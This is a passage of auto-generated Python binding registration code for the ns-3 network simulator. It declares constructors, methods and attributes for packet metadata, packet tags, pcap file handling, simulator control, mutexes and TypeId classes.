'ns3::Buffer::Iterator', is_const=False) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::currentSize [variable] cls.add_instance_attribute('currentSize', 'uint32_t', is_const=False) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::currentTrimedFromEnd [variable] cls.add_instance_attribute('currentTrimedFromEnd', 'uint32_t', is_const=False) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::currentTrimedFromStart [variable] cls.add_instance_attribute('currentTrimedFromStart', 'uint32_t', is_const=False) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::isFragment [variable] cls.add_instance_attribute('isFragment', 'bool', is_const=False) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::tid [variable] cls.add_instance_attribute('tid', 'ns3::TypeId', is_const=False) return def register_Ns3PacketMetadataItemIterator_methods(root_module, cls): ## packet-metadata.h (module 'network'): ns3::PacketMetadata::ItemIterator::ItemIterator(ns3::PacketMetadata::ItemIterator const & arg0) [copy constructor] cls.add_constructor([param('ns3::PacketMetadata::ItemIterator const &', 'arg0')]) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::ItemIterator::ItemIterator(ns3::PacketMetadata const * metadata, ns3::Buffer buffer) [constructor] cls.add_constructor([param('ns3::PacketMetadata const *', 'metadata'), param('ns3::Buffer', 'buffer')]) ## packet-metadata.h (module 'network'): bool ns3::PacketMetadata::ItemIterator::HasNext() const [member function] cls.add_method('HasNext', 'bool', [], is_const=True) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item ns3::PacketMetadata::ItemIterator::Next() [member function] cls.add_method('Next', 'ns3::PacketMetadata::Item', []) return def register_Ns3PacketTagIterator_methods(root_module, cls): ## packet.h (module 'network'): ns3::PacketTagIterator::PacketTagIterator(ns3::PacketTagIterator const & arg0) [copy constructor] cls.add_constructor([param('ns3::PacketTagIterator const &', 'arg0')]) ## packet.h (module 'network'): bool ns3::PacketTagIterator::HasNext() const [member function] cls.add_method('HasNext', 'bool', [], is_const=True) ## packet.h (module 'network'): ns3::PacketTagIterator::Item ns3::PacketTagIterator::Next() [member function] cls.add_method('Next', 'ns3::PacketTagIterator::Item', []) return def register_Ns3PacketTagIteratorItem_methods(root_module, cls): ## packet.h (module 'network'): ns3::PacketTagIterator::Item::Item(ns3::PacketTagIterator::Item const & arg0) [copy constructor] cls.add_constructor([param('ns3::PacketTagIterator::Item const &', 'arg0')]) ## packet.h (module 'network'): void ns3::PacketTagIterator::Item::GetTag(ns3::Tag & tag) const [member function] cls.add_method('GetTag', 'void', [param('ns3::Tag &', 'tag')], is_const=True) ## packet.h (module 'network'): ns3::TypeId ns3::PacketTagIterator::Item::GetTypeId() const [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_const=True) return def register_Ns3PacketTagList_methods(root_module, cls): ## packet-tag-list.h (module 'network'): ns3::PacketTagList::PacketTagList() [constructor] cls.add_constructor([]) ## packet-tag-list.h (module 'network'): ns3::PacketTagList::PacketTagList(ns3::PacketTagList const & o) [copy constructor] cls.add_constructor([param('ns3::PacketTagList const &', 'o')]) ## packet-tag-list.h (module 'network'): void ns3::PacketTagList::Add(ns3::Tag const & tag) const [member function] cls.add_method('Add', 'void', [param('ns3::Tag const &', 'tag')], is_const=True) ## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData const * ns3::PacketTagList::Head() const [member function] cls.add_method('Head', 'ns3::PacketTagList::TagData const *', [], is_const=True) ## packet-tag-list.h (module 'network'): bool ns3::PacketTagList::Peek(ns3::Tag & tag) const [member function] cls.add_method('Peek', 'bool', [param('ns3::Tag &', 'tag')], is_const=True) ## packet-tag-list.h (module 'network'): bool ns3::PacketTagList::Remove(ns3::Tag & tag) [member function] cls.add_method('Remove', 'bool', [param('ns3::Tag &', 'tag')]) ## packet-tag-list.h (module 'network'): void ns3::PacketTagList::RemoveAll() [member function] cls.add_method('RemoveAll', 'void', []) ## packet-tag-list.h (module 'network'): bool ns3::PacketTagList::Replace(ns3::Tag & tag) [member function] cls.add_method('Replace', 'bool', [param('ns3::Tag &', 'tag')]) return def register_Ns3PacketTagListTagData_methods(root_module, cls): ## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::TagData() [constructor] cls.add_constructor([]) ## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::TagData(ns3::PacketTagList::TagData const & arg0) [copy constructor] cls.add_constructor([param('ns3::PacketTagList::TagData const &', 'arg0')]) ## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::count [variable] cls.add_instance_attribute('count', 'uint32_t', is_const=False) ## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::data [variable] cls.add_instance_attribute('data', 'uint8_t [ 20 ]', is_const=False) ## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::next [variable] cls.add_instance_attribute('next', 'ns3::PacketTagList::TagData *', is_const=False) ## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::tid [variable] cls.add_instance_attribute('tid', 'ns3::TypeId', is_const=False) return def register_Ns3PcapFile_methods(root_module, cls): ## pcap-file.h (module 'network'): ns3::PcapFile::PcapFile() [constructor] cls.add_constructor([]) ## pcap-file.h (module 'network'): void ns3::PcapFile::Clear() [member function] cls.add_method('Clear', 'void', []) ## pcap-file.h (module 'network'): void ns3::PcapFile::Close() [member function] cls.add_method('Close', 'void', []) ## pcap-file.h (module 'network'): static bool ns3::PcapFile::Diff(std::string const & f1, std::string const & f2, uint32_t & sec, uint32_t & usec, uint32_t snapLen=ns3::PcapFile::SNAPLEN_DEFAULT) [member function] cls.add_method('Diff', 'bool', [param('std::string const &', 'f1'), param('std::string const &', 'f2'), param('uint32_t &', 'sec'), param('uint32_t &', 'usec'), param('uint32_t', 'snapLen', default_value='ns3::PcapFile::SNAPLEN_DEFAULT')], is_static=True) ## pcap-file.h (module 'network'): bool ns3::PcapFile::Eof() const [member function] cls.add_method('Eof', 'bool', [], is_const=True) ## pcap-file.h (module 'network'): bool ns3::PcapFile::Fail() const [member function] cls.add_method('Fail', 'bool', [], is_const=True) ## pcap-file.h (module 'network'): uint32_t ns3::PcapFile::GetDataLinkType() [member function] cls.add_method('GetDataLinkType', 'uint32_t', []) ## pcap-file.h (module 'network'): uint32_t ns3::PcapFile::GetMagic() [member function] cls.add_method('GetMagic', 'uint32_t', []) ## pcap-file.h (module 'network'): uint32_t ns3::PcapFile::GetSigFigs() [member function] cls.add_method('GetSigFigs', 'uint32_t', []) ## pcap-file.h (module 'network'): uint32_t ns3::PcapFile::GetSnapLen() [member function] cls.add_method('GetSnapLen', 'uint32_t', []) ## pcap-file.h (module 'network'): bool ns3::PcapFile::GetSwapMode() [member function] cls.add_method('GetSwapMode', 'bool', []) ## pcap-file.h (module 'network'): int32_t ns3::PcapFile::GetTimeZoneOffset() [member function] cls.add_method('GetTimeZoneOffset', 'int32_t', []) ## pcap-file.h (module 'network'): uint16_t ns3::PcapFile::GetVersionMajor() [member function] cls.add_method('GetVersionMajor', 'uint16_t', []) ## pcap-file.h (module 'network'): uint16_t ns3::PcapFile::GetVersionMinor() [member function] cls.add_method('GetVersionMinor', 'uint16_t', []) ## pcap-file.h (module 'network'): void ns3::PcapFile::Init(uint32_t dataLinkType, uint32_t snapLen=ns3::PcapFile::SNAPLEN_DEFAULT, int32_t timeZoneCorrection=ns3::PcapFile::ZONE_DEFAULT, bool swapMode=false) [member function] cls.add_method('Init', 'void', [param('uint32_t', 'dataLinkType'), param('uint32_t', 'snapLen', default_value='ns3::PcapFile::SNAPLEN_DEFAULT'), param('int32_t', 'timeZoneCorrection', default_value='ns3::PcapFile::ZONE_DEFAULT'), param('bool', 'swapMode', default_value='false')]) ## pcap-file.h (module 'network'): void ns3::PcapFile::Open(std::string const & filename, std::_Ios_Openmode mode) [member function] cls.add_method('Open', 'void', [param('std::string const &', 'filename'), param('std::_Ios_Openmode', 'mode')]) ## pcap-file.h (module 'network'): void ns3::PcapFile::Read(uint8_t * const data, uint32_t maxBytes, uint32_t & tsSec, uint32_t & tsUsec, uint32_t & inclLen, uint32_t & origLen, uint32_t & readLen) [member function] cls.add_method('Read', 'void', [param('uint8_t * const', 'data'), param('uint32_t', 'maxBytes'), param('uint32_t &', 'tsSec'), param('uint32_t &', 'tsUsec'), param('uint32_t &', 'inclLen'), param('uint32_t &', 'origLen'), param('uint32_t &', 'readLen')]) ## pcap-file.h (module 'network'): void ns3::PcapFile::Write(uint32_t tsSec, uint32_t tsUsec, uint8_t const * const data, uint32_t totalLen) [member function] cls.add_method('Write', 'void', [param('uint32_t', 'tsSec'), param('uint32_t', 'tsUsec'), param('uint8_t const * const', 'data'), param('uint32_t', 'totalLen')]) ## pcap-file.h (module 'network'): void ns3::PcapFile::Write(uint32_t tsSec, uint32_t tsUsec, ns3::Ptr<const ns3::Packet> p) [member function] cls.add_method('Write', 'void', [param('uint32_t', 'tsSec'), param('uint32_t', 'tsUsec'), param('ns3::Ptr< ns3::Packet const >', 'p')]) ## pcap-file.h (module 'network'): void ns3::PcapFile::Write(uint32_t tsSec, uint32_t tsUsec, ns3::Header & header, ns3::Ptr<const ns3::Packet> p) [member function] cls.add_method('Write', 'void', [param('uint32_t', 'tsSec'), param('uint32_t', 'tsUsec'), param('ns3::Header &', 'header'), param('ns3::Ptr< ns3::Packet const >', 'p')]) ## pcap-file.h (module 'network'): ns3::PcapFile::SNAPLEN_DEFAULT [variable] cls.add_static_attribute('SNAPLEN_DEFAULT', 'uint32_t const', is_const=True) ## pcap-file.h (module 'network'): ns3::PcapFile::ZONE_DEFAULT [variable] cls.add_static_attribute('ZONE_DEFAULT', 'int32_t const', is_const=True) return def register_Ns3PcapHelper_methods(root_module, cls): ## trace-helper.h (module 'network'): ns3::PcapHelper::PcapHelper(ns3::PcapHelper const & arg0) [copy constructor] cls.add_constructor([param('ns3::PcapHelper const &', 'arg0')]) ## trace-helper.h (module 'network'): ns3::PcapHelper::PcapHelper() [constructor] cls.add_constructor([]) ## trace-helper.h (module 'network'): ns3::Ptr<ns3::PcapFileWrapper> ns3::PcapHelper::CreateFile(std::string filename, std::_Ios_Openmode filemode, uint32_t dataLinkType, uint32_t snapLen=std::numeric_limits<unsigned int>::max(), int32_t tzCorrection=0) [member function] cls.add_method('CreateFile', 'ns3::Ptr< ns3::PcapFileWrapper >', [param('std::string', 'filename'), param('std::_Ios_Openmode', 'filemode'), param('uint32_t', 'dataLinkType'), param('uint32_t', 'snapLen', default_value='std::numeric_limits<unsigned int>::max()'), param('int32_t', 'tzCorrection', default_value='0')]) ## trace-helper.h (module 'network'): std::string ns3::PcapHelper::GetFilenameFromDevice(std::string prefix, ns3::Ptr<ns3::NetDevice> device, bool useObjectNames=true) [member function] cls.add_method('GetFilenameFromDevice', 'std::string', [param('std::string', 'prefix'), param('ns3::Ptr< ns3::NetDevice >', 'device'), param('bool', 'useObjectNames', default_value='true')]) ## trace-helper.h (module 'network'): std::string ns3::PcapHelper::GetFilenameFromInterfacePair(std::string prefix, ns3::Ptr<ns3::Object> object, uint32_t interface, bool useObjectNames=true) [member function] cls.add_method('GetFilenameFromInterfacePair', 'std::string', [param('std::string', 'prefix'), param('ns3::Ptr< ns3::Object >', 'object'), param('uint32_t', 'interface'), param('bool', 'useObjectNames', default_value='true')]) return def register_Ns3PcapHelperForDevice_methods(root_module, cls): ## trace-helper.h (module 'network'): ns3::PcapHelperForDevice::PcapHelperForDevice(ns3::PcapHelperForDevice const & arg0) [copy constructor] cls.add_constructor([param('ns3::PcapHelperForDevice const &', 'arg0')]) ## trace-helper.h (module 'network'): ns3::PcapHelperForDevice::PcapHelperForDevice() [constructor] cls.add_constructor([]) ## trace-helper.h (module 'network'): void ns3::PcapHelperForDevice::EnablePcap(std::string prefix, ns3::Ptr<ns3::NetDevice> nd, bool promiscuous=false, bool explicitFilename=false) [member function] cls.add_method('EnablePcap', 'void', [param('std::string', 'prefix'), param('ns3::Ptr< ns3::NetDevice >', 'nd'), param('bool', 'promiscuous', default_value='false'), param('bool', 'explicitFilename', default_value='false')]) ## trace-helper.h (module 'network'): void ns3::PcapHelperForDevice::EnablePcap(std::string prefix, std::string ndName, bool promiscuous=false, bool explicitFilename=false) [member function] cls.add_method('EnablePcap', 'void', [param('std::string', 'prefix'), param('std::string', 'ndName'), param('bool', 'promiscuous', default_value='false'), param('bool', 'explicitFilename', default_value='false')]) ## trace-helper.h (module 'network'): void ns3::PcapHelperForDevice::EnablePcap(std::string prefix, ns3::NetDeviceContainer d, bool promiscuous=false) [member function] cls.add_method('EnablePcap', 'void', [param('std::string', 'prefix'), param('ns3::NetDeviceContainer', 'd'), param('bool', 'promiscuous', default_value='false')]) ## trace-helper.h (module 'network'): void ns3::PcapHelperForDevice::EnablePcap(std::string prefix, ns3::NodeContainer n, bool promiscuous=false) [member function] cls.add_method('EnablePcap', 'void', [param('std::string', 'prefix'), param('ns3::NodeContainer', 'n'), param('bool', 'promiscuous', default_value='false')]) ## trace-helper.h (module 'network'): void ns3::PcapHelperForDevice::EnablePcap(std::string prefix, uint32_t nodeid, uint32_t deviceid, bool promiscuous=false) [member function] cls.add_method('EnablePcap', 'void', [param('std::string', 'prefix'), param('uint32_t', 'nodeid'), param('uint32_t', 'deviceid'), param('bool', 'promiscuous', default_value='false')]) ## trace-helper.h (module 'network'): void ns3::PcapHelperForDevice::EnablePcapAll(std::string prefix, bool promiscuous=false) [member function] cls.add_method('EnablePcapAll', 'void', [param('std::string', 'prefix'), param('bool', 'promiscuous', default_value='false')]) ## trace-helper.h (module 'network'): void ns3::PcapHelperForDevice::EnablePcapInternal(std::string prefix, ns3::Ptr<ns3::NetDevice> nd, bool promiscuous, bool explicitFilename) [member function] cls.add_method('EnablePcapInternal', 'void', [param('std::string', 'prefix'), param('ns3::Ptr< ns3::NetDevice >', 'nd'), param('bool', 'promiscuous'), param('bool', 'explicitFilename')], is_pure_virtual=True, is_virtual=True) return def register_Ns3SimpleRefCount__Ns3Object_Ns3ObjectBase_Ns3ObjectDeleter_methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter>::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter>::SimpleRefCount(ns3::SimpleRefCount<ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter> const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter>::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3Simulator_methods(root_module, cls): ## simulator.h (module 'core'): ns3::Simulator::Simulator(ns3::Simulator const & arg0) [copy constructor] cls.add_constructor([param('ns3::Simulator const &', 'arg0')]) ## simulator.h (module 'core'): static void ns3::Simulator::Cancel(ns3::EventId const & id) [member function] cls.add_method('Cancel', 'void', [param('ns3::EventId const &', 'id')], is_static=True) ## simulator.h (module 'core'): static void ns3::Simulator::Destroy() [member function] cls.add_method('Destroy', 'void', [], is_static=True) ## simulator.h (module 'core'): static uint32_t ns3::Simulator::GetContext() [member function] cls.add_method('GetContext', 'uint32_t', [], is_static=True) ## simulator.h (module 'core'): static ns3::Time ns3::Simulator::GetDelayLeft(ns3::EventId const & id) [member function] cls.add_method('GetDelayLeft', 'ns3::Time', [param('ns3::EventId const &', 'id')], is_static=True) ## simulator.h (module 'core'): static ns3::Ptr<ns3::SimulatorImpl> ns3::Simulator::GetImplementation() [member function] cls.add_method('GetImplementation', 'ns3::Ptr< ns3::SimulatorImpl >', [], is_static=True) ## simulator.h (module 'core'): static ns3::Time ns3::Simulator::GetMaximumSimulationTime() [member function] cls.add_method('GetMaximumSimulationTime', 'ns3::Time', [], is_static=True) ## simulator.h (module 'core'): static uint32_t ns3::Simulator::GetSystemId() [member function] cls.add_method('GetSystemId', 'uint32_t', [], is_static=True) ## simulator.h (module 'core'): static bool ns3::Simulator::IsExpired(ns3::EventId const & id) [member function] cls.add_method('IsExpired', 'bool', [param('ns3::EventId const &', 'id')], is_static=True) ## simulator.h (module 'core'): static bool ns3::Simulator::IsFinished() [member function] cls.add_method('IsFinished', 'bool', [], is_static=True) ## simulator.h (module 'core'): static ns3::Time ns3::Simulator::Now() [member function] cls.add_method('Now', 'ns3::Time', [], is_static=True) ## simulator.h (module 'core'): static void ns3::Simulator::Remove(ns3::EventId const & id) [member function] cls.add_method('Remove', 'void', [param('ns3::EventId const &', 'id')], is_static=True) ## simulator.h (module 'core'): static void ns3::Simulator::SetImplementation(ns3::Ptr<ns3::SimulatorImpl> impl) [member function] cls.add_method('SetImplementation', 'void', [param('ns3::Ptr< ns3::SimulatorImpl >', 'impl')], is_static=True) ## simulator.h (module 'core'): static void ns3::Simulator::SetScheduler(ns3::ObjectFactory schedulerFactory) [member function] cls.add_method('SetScheduler', 'void', [param('ns3::ObjectFactory', 'schedulerFactory')], is_static=True) ## simulator.h (module 'core'): static void ns3::Simulator::Stop() [member function] cls.add_method('Stop', 'void', [], is_static=True) ## simulator.h (module 'core'): static void ns3::Simulator::Stop(ns3::Time const & time) [member function] cls.add_method('Stop', 'void', [param('ns3::Time const &', 'time')], is_static=True) return def register_Ns3SystemCondition_methods(root_module, cls): ## system-condition.h (module 'core'): ns3::SystemCondition::SystemCondition(ns3::SystemCondition const & arg0) [copy constructor] cls.add_constructor([param('ns3::SystemCondition const &', 'arg0')]) ## system-condition.h (module 'core'): ns3::SystemCondition::SystemCondition() [constructor] cls.add_constructor([]) ## system-condition.h (module 'core'): void ns3::SystemCondition::Broadcast() [member function] cls.add_method('Broadcast', 'void', []) ## system-condition.h (module 'core'): bool ns3::SystemCondition::GetCondition() [member function] cls.add_method('GetCondition', 'bool', []) ## system-condition.h (module 'core'): void ns3::SystemCondition::SetCondition(bool condition) [member function] cls.add_method('SetCondition', 'void', [param('bool', 'condition')]) ## system-condition.h (module 'core'): void ns3::SystemCondition::Signal() [member function] cls.add_method('Signal', 'void', []) ## system-condition.h (module 'core'): bool ns3::SystemCondition::TimedWait(uint64_t ns) [member function] cls.add_method('TimedWait', 'bool', [param('uint64_t', 'ns')]) ## system-condition.h (module 'core'): void ns3::SystemCondition::Wait() [member function] cls.add_method('Wait', 'void', []) return def register_Ns3SystemMutex_methods(root_module, cls): ## system-mutex.h (module 'core'): ns3::SystemMutex::SystemMutex(ns3::SystemMutex const & arg0) [copy constructor] cls.add_constructor([param('ns3::SystemMutex const &', 'arg0')]) ## system-mutex.h (module 'core'): ns3::SystemMutex::SystemMutex() [constructor] cls.add_constructor([]) ## system-mutex.h (module 'core'): void ns3::SystemMutex::Lock() [member function] cls.add_method('Lock', 'void', []) ## system-mutex.h (module 'core'): void ns3::SystemMutex::Unlock() [member function] cls.add_method('Unlock', 'void', []) return def register_Ns3Tag_methods(root_module, cls): ## tag.h (module 'network'): ns3::Tag::Tag() [constructor] cls.add_constructor([]) ## tag.h (module 'network'): ns3::Tag::Tag(ns3::Tag const & arg0) [copy constructor] cls.add_constructor([param('ns3::Tag const &', 'arg0')]) ## tag.h (module 'network'): void ns3::Tag::Deserialize(ns3::TagBuffer i) [member function] cls.add_method('Deserialize', 'void', [param('ns3::TagBuffer', 'i')], is_pure_virtual=True, is_virtual=True) ## tag.h (module 'network'): uint32_t ns3::Tag::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## tag.h (module 'network'): static ns3::TypeId ns3::Tag::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## tag.h (module 'network'): void ns3::Tag::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_pure_virtual=True, is_const=True, is_virtual=True) ## tag.h (module 'network'): void ns3::Tag::Serialize(ns3::TagBuffer i) const [member function] cls.add_method('Serialize', 'void', [param('ns3::TagBuffer', 'i')], is_pure_virtual=True, is_const=True, is_virtual=True) return def register_Ns3TagBuffer_methods(root_module, cls): ## tag-buffer.h (module 'network'): ns3::TagBuffer::TagBuffer(ns3::TagBuffer const & arg0) [copy constructor] cls.add_constructor([param('ns3::TagBuffer const &', 'arg0')]) ## tag-buffer.h (module 'network'): ns3::TagBuffer::TagBuffer(uint8_t * start, uint8_t * end) [constructor] cls.add_constructor([param('uint8_t *', 'start'), param('uint8_t *', 'end')]) ## tag-buffer.h (module 'network'): void ns3::TagBuffer::CopyFrom(ns3::TagBuffer o) [member function] cls.add_method('CopyFrom', 'void', [param('ns3::TagBuffer', 'o')]) ## tag-buffer.h (module 'network'): void ns3::TagBuffer::Read(uint8_t * buffer, uint32_t size) [member function] cls.add_method('Read', 'void', [param('uint8_t *', 'buffer'), param('uint32_t', 'size')]) ## tag-buffer.h (module 'network'): double ns3::TagBuffer::ReadDouble() [member function] cls.add_method('ReadDouble', 'double', []) ## tag-buffer.h (module 'network'): uint16_t ns3::TagBuffer::ReadU16() [member function] cls.add_method('ReadU16', 'uint16_t', []) ## tag-buffer.h (module 'network'): uint32_t ns3::TagBuffer::ReadU32() [member function] cls.add_method('ReadU32', 'uint32_t', []) ## tag-buffer.h (module 'network'): uint64_t ns3::TagBuffer::ReadU64() [member function] cls.add_method('ReadU64', 'uint64_t', []) ## tag-buffer.h (module 'network'): uint8_t ns3::TagBuffer::ReadU8() [member function] cls.add_method('ReadU8', 'uint8_t', []) ## tag-buffer.h (module 'network'): void ns3::TagBuffer::TrimAtEnd(uint32_t trim) [member function] cls.add_method('TrimAtEnd', 'void', [param('uint32_t', 'trim')]) ## tag-buffer.h (module 'network'): void ns3::TagBuffer::Write(uint8_t const * buffer, uint32_t size) [member function] cls.add_method('Write', 'void', [param('uint8_t const *', 'buffer'), param('uint32_t', 'size')]) ## tag-buffer.h (module 'network'): void ns3::TagBuffer::WriteDouble(double v) [member function] cls.add_method('WriteDouble', 'void', [param('double', 'v')]) ## tag-buffer.h (module 'network'): void ns3::TagBuffer::WriteU16(uint16_t data) [member function] cls.add_method('WriteU16', 'void', [param('uint16_t', 'data')]) ## tag-buffer.h (module 'network'): void ns3::TagBuffer::WriteU32(uint32_t data) [member function] cls.add_method('WriteU32', 'void', [param('uint32_t', 'data')]) ## tag-buffer.h (module 'network'): void ns3::TagBuffer::WriteU64(uint64_t v) [member function] cls.add_method('WriteU64', 'void', [param('uint64_t', 'v')]) ## tag-buffer.h (module 'network'): void ns3::TagBuffer::WriteU8(uint8_t v) [member function] cls.add_method('WriteU8', 'void', [param('uint8_t', 'v')]) return def register_Ns3TimeWithUnit_methods(root_module, cls): cls.add_output_stream_operator() ## nstime.h (module 'core'): ns3::TimeWithUnit::TimeWithUnit(ns3::TimeWithUnit const & arg0) [copy constructor] cls.add_constructor([param('ns3::TimeWithUnit const &', 'arg0')]) ## nstime.h (module 'core'): ns3::TimeWithUnit::TimeWithUnit(ns3::Time const time, ns3::Time::Unit const unit) [constructor] cls.add_constructor([param('ns3::Time const', 'time'), param('ns3::Time::Unit const', 'unit')]) return def register_Ns3TypeId_methods(root_module, cls): cls.add_binary_comparison_operator('<') cls.add_binary_comparison_operator('!=') cls.add_output_stream_operator() cls.add_binary_comparison_operator('==') ## type-id.h (module 'core'): ns3::TypeId::TypeId(char const * name) [constructor] cls.add_constructor([param('char const *', 'name')]) ## type-id.h (module 'core'): ns3::TypeId::TypeId() [constructor] cls.add_constructor([]) ## type-id.h (module 'core'): ns3::TypeId::TypeId(ns3::TypeId const & o) [copy constructor] cls.add_constructor([param('ns3::TypeId const &', 'o')]) ## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::AddAttribute(std::string name, std::string help, ns3::AttributeValue const & initialValue, ns3::Ptr<ns3::AttributeAccessor const> accessor, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('AddAttribute', 'ns3::TypeId', [param('std::string', 'name'), param('std::string', 'help'), param('ns3::AttributeValue const &', 'initialValue'), param('ns3::Ptr< ns3::AttributeAccessor const >', 'accessor'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')]) ## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::AddAttribute(std::string name, std::string help, uint32_t flags, ns3::AttributeValue const & initialValue, ns3::Ptr<ns3::AttributeAccessor const> accessor, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('AddAttribute', 'ns3::TypeId', [param('std::string', 'name'), param('std::string', 'help'), param('uint32_t', 'flags'), param('ns3::AttributeValue const &', 'initialValue'), param('ns3::Ptr< ns3::AttributeAccessor const >', 'accessor'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')]) ## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::AddTraceSource(std::string name, std::string help, ns3::Ptr<ns3::TraceSourceAccessor const> accessor) [member function] cls.add_method('AddTraceSource', 'ns3::TypeId', [param('std::string', 'name'), param('std::string', 'help'), param('ns3::Ptr< ns3::TraceSourceAccessor const >', 'accessor')], deprecated=True) ## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::AddTraceSource(std::string name, std::string help, ns3::Ptr<ns3::TraceSourceAccessor const> accessor, std::string callback) [member function] cls.add_method('AddTraceSource', 'ns3::TypeId', [param('std::string', 'name'), param('std::string', 'help'), param('ns3::Ptr< ns3::TraceSourceAccessor const >', 'accessor'), param('std::string', 'callback')]) ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation ns3::TypeId::GetAttribute(uint32_t i) const [member function] cls.add_method('GetAttribute', 'ns3::TypeId::AttributeInformation', [param('uint32_t', 'i')], is_const=True) ## type-id.h (module 'core'): std::string ns3::TypeId::GetAttributeFullName(uint32_t i) const [member function] cls.add_method('GetAttributeFullName', 'std::string', [param('uint32_t', 'i')], is_const=True) ## type-id.h (module 'core'): uint32_t ns3::TypeId::GetAttributeN() const [member function] cls.add_method('GetAttributeN', 'uint32_t', [], is_const=True) ## type-id.h (module 'core'): ns3::Callback<ns3::ObjectBase*,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> ns3::TypeId::GetConstructor() const [member function] cls.add_method('GetConstructor', 'ns3::Callback< ns3::ObjectBase *, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', [], is_const=True) ## type-id.h (module 'core'): std::string ns3::TypeId::GetGroupName() const [member function] cls.add_method('GetGroupName', 'std::string', [], is_const=True) ## type-id.h (module 'core'): uint32_t ns3::TypeId::GetHash() const [member function] cls.add_method('GetHash', 'uint32_t', [], is_const=True) ## type-id.h (module 'core'): std::string ns3::TypeId::GetName() const [member function] cls.add_method('GetName', 'std::string', [], is_const=True) ## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::GetParent() const [member function] cls.add_method('GetParent', 'ns3::TypeId', [], is_const=True) ## type-id.h (module 'core'): static ns3::TypeId ns3::TypeId::GetRegistered(uint32_t i) [member function] cls.add_method('GetRegistered', 'ns3::TypeId', [param('uint32_t', 'i')], is_static=True) ## type-id.h (module 'core'): static uint32_t ns3::TypeId::GetRegisteredN() [member function] cls.add_method('GetRegisteredN', 'uint32_t', [], is_static=True) ## type-id.h (module 'core'): std::size_t ns3::TypeId::GetSize() const [member function] cls.add_method('GetSize', 'std::size_t', [], is_const=True) ## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation ns3::TypeId::GetTraceSource(uint32_t i) const [member function] cls.add_method('GetTraceSource', 'ns3::TypeId::TraceSourceInformation', [param('uint32_t', 'i')], is_const=True) ## type-id.h (module 'core'): uint32_t ns3::TypeId::GetTraceSourceN() const [member function] cls.add_method('GetTraceSourceN', 'uint32_t', [], is_const=True) ## type-id.h (module 'core'): uint16_t ns3::TypeId::GetUid() const [member function] cls.add_method('GetUid', 'uint16_t', [], is_const=True) ## type-id.h (module 'core'): bool ns3::TypeId::HasConstructor() const [member function] cls.add_method('HasConstructor', 'bool', [], is_const=True) ## type-id.h (module 'core'): bool ns3::TypeId::HasParent() const [member function] cls.add_method('HasParent', 'bool', [], is_const=True) ## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::HideFromDocumentation() [member function] cls.add_method('HideFromDocumentation', 'ns3::TypeId', []) ## type-id.h (module 'core'): bool ns3::TypeId::IsChildOf(ns3::TypeId other) const [member function] cls.add_method('IsChildOf', 'bool', [param('ns3::TypeId', 'other')], is_const=True) ## type-id.h (module 'core'): bool ns3::TypeId::LookupAttributeByName(std::string name, ns3::TypeId::AttributeInformation * info) const [member function] cls.add_method('LookupAttributeByName', 'bool', [param('std::string', 'name'), param('ns3::TypeId::AttributeInformation *', 'info', transfer_ownership=False)], is_const=True) ## type-id.h (module 'core'): static ns3::TypeId ns3::TypeId::LookupByHash(uint32_t hash) [member function] cls.add_method('LookupByHash', 'ns3::TypeId', [param('uint32_t', 'hash')], is_static=True) ## type-id.h (module 'core'): static bool ns3::TypeId::LookupByHashFailSafe(uint32_t hash, ns3::TypeId * tid) [member function] cls.add_method('LookupByHashFailSafe', 'bool', [param('uint32_t', 'hash'), param('ns3::TypeId *', 'tid')], is_static=True) ## type-id.h (module 'core'): static ns3::TypeId ns3::TypeId::LookupByName(std::string name) [member function] cls.add_method('LookupByName', 'ns3::TypeId', [param('std::string', 'name')], is_static=True) ## type-id.h (module 'core'): ns3::Ptr<ns3::TraceSourceAccessor const> ns3::TypeId::LookupTraceSourceByName(std::string name) const [member function] cls.add_method('LookupTraceSourceByName', 'ns3::Ptr< ns3::TraceSourceAccessor const >', [param('std::string', 'name')], 